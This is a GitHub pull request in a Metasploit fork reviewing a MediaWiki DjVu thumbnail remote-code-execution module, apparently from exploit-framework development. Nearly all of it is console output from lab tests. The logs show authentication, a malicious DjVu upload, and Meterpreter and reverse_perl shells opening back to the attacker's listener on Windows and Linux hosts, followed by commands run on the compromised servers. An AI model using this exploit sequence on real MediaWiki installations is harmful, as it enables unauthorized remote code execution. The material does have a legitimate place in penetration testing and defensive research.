Meatballs1/metasploit-framework — pull request #34 by jvazquez-r7 (2014-02-10 15:03:43+00:00)
Title: Review MediaWiki RCE pr

Hi @Meatballs1,

This pull request tries to do small clean up on https://github.com/rapid7/metasploit-framework/pull/2939

Feel free to review / check and land once you feel comfortable with it so https://github.com/rapid7/metasploit-framework/pull/2939 will be automatically updated.

Testing on Windows:

```
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Grabbing version and login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file LVVG.djvu...
[+] File uploaded to http://192.168.172.140/mediawiki-1.22.1/index.php/File:LVVG.djvu
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.140
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.140:1119) at 2014-02-10 07:54:05 -0600

meterpreter > exit -y
[*] Shutting down Meterpreter...

msf > use exploit/multi/http/mediawiki_thumb
msf exploit(mediawiki_thumb) > set rhost 192.168.172.140
rhost => 192.168.172.140
msf exploit(mediawiki_thumb) > set FILENAME LVVG.djvu
FILENAME => LVVG.djvu
msf exploit(mediawiki_thumb) > set TARGET 2
TARGET => 2
msf exploit(mediawiki_thumb) > set payload cmd/windows/reverse_perl
payload => cmd/windows/reverse_perl
msf exploit(mediawiki_thumb) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(mediawiki_thumb) > set TARGETURI /mediawiki-1.22.1
TARGETURI => /mediawiki-1.22.1
msf exploit(mediawiki_thumb) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.140:1136) at 2014-02-10 07:56:03 -0600

dir
Volume in drive C has no label.
Volume Serial Number is D003-765C

Directory of C:\wamp\www\mediawiki-1.22.1

02/04/2014 06:21 PM .
02/04/2014 06:21 PM ..
01/14/2014 06:50 AM 111 .gitreview
01/14/2014 06:50 AM 815 .jshintignore
01/14/2014 06:50 AM 576 .jshintrc
01/14/2014 06:50 AM 3,816 api.php
```

Testing on Linux:

```
msf exploit(mediawiki_thumb) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(mediawiki_thumb) > set lport 4444
lport => 4444
msf exploit(mediawiki_thumb) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(mediawiki_thumb) > set Username Admin
Username => Admin
msf exploit(mediawiki_thumb) > set PASSWORD juan1234
PASSWORD => juan1234
msf exploit(mediawiki_thumb) > show options
s
Module options (exploit/multi/http/mediawiki_thumb):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Target DjVu file (e.g target.djvu)
PASSWORD juan1234 no Password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.172.136 yes The target address
RPORT 80 yes The target port
TARGETURI /mediawiki yes Base MediaWiki path
USERNAME Admin no Username to authenticate with
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic PHP-CLI

msf exploit(mediawiki_thumb) > set TARGETURI /mediawiki-1.22.1
TARGETURI => /mediawiki-1.22.1
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Grabbing version and login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file ljdt.djvu...
[+] File uploaded to http://192.168.172.135/mediawiki-1.22.1/index.php/File:Ljdt.djvu
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:33795) at 2014-02-10 07:39:56 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 1 closed. Reason: User exit
msf exploit(mediawiki_thumb) > show options

Module options (exploit/multi/http/mediawiki_thumb):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Target DjVu file (e.g target.djvu)
PASSWORD juan1234 no Password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.172.136 yes The target address
RPORT 80 yes The target port
TARGETURI /mediawiki-1.22.1 yes Base MediaWiki path
USERNAME Admin no Username to authenticate with
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic PHP-CLI

msf exploit(mediawiki_thumb) > set FILENAME Ljdt.djvu
FILENAME => Ljdt.djvu
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:33796) at 2014-02-10 07:40:17 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed. Reason: User exit
msf exploit(mediawiki_thumb) > set target 1
target => 1
msf exploit(mediawiki_thumb) > set payload cmd/unix/
set payload cmd/unix/bind_perl set payload cmd/unix/generic set payload cmd/unix/reverse_perl_ssl set payload cmd/unix/reverse_python
set payload cmd/unix/bind_perl_ipv6 set payload cmd/unix/reverse_perl set payload cmd/unix/reverse_php_ssl set payload cmd/unix/reverse_python_ssl
msf exploit(mediawiki_thumb) > set payload cmd/unix/
set payload cmd/unix/bind_perl set payload cmd/unix/generic set payload cmd/unix/reverse_perl_ssl set payload cmd/unix/reverse_python
set payload cmd/unix/bind_perl_ipv6 set payload cmd/unix/reverse_perl set payload cmd/unix/reverse_php_ssl set payload cmd/unix/reverse_python_ssl
msf exploit(mediawiki_thumb) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(mediawiki_thumb) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Grabbing version and login CSRF token...
[*] Sending payload request...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.136:33797) at 2014-02-10 07:40:33 -0600

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 3? [y/N] y

[*] 192.168.172.136 - Command shell session 3 closed. Reason: User exit
msf exploit(mediawiki_thumb) >
```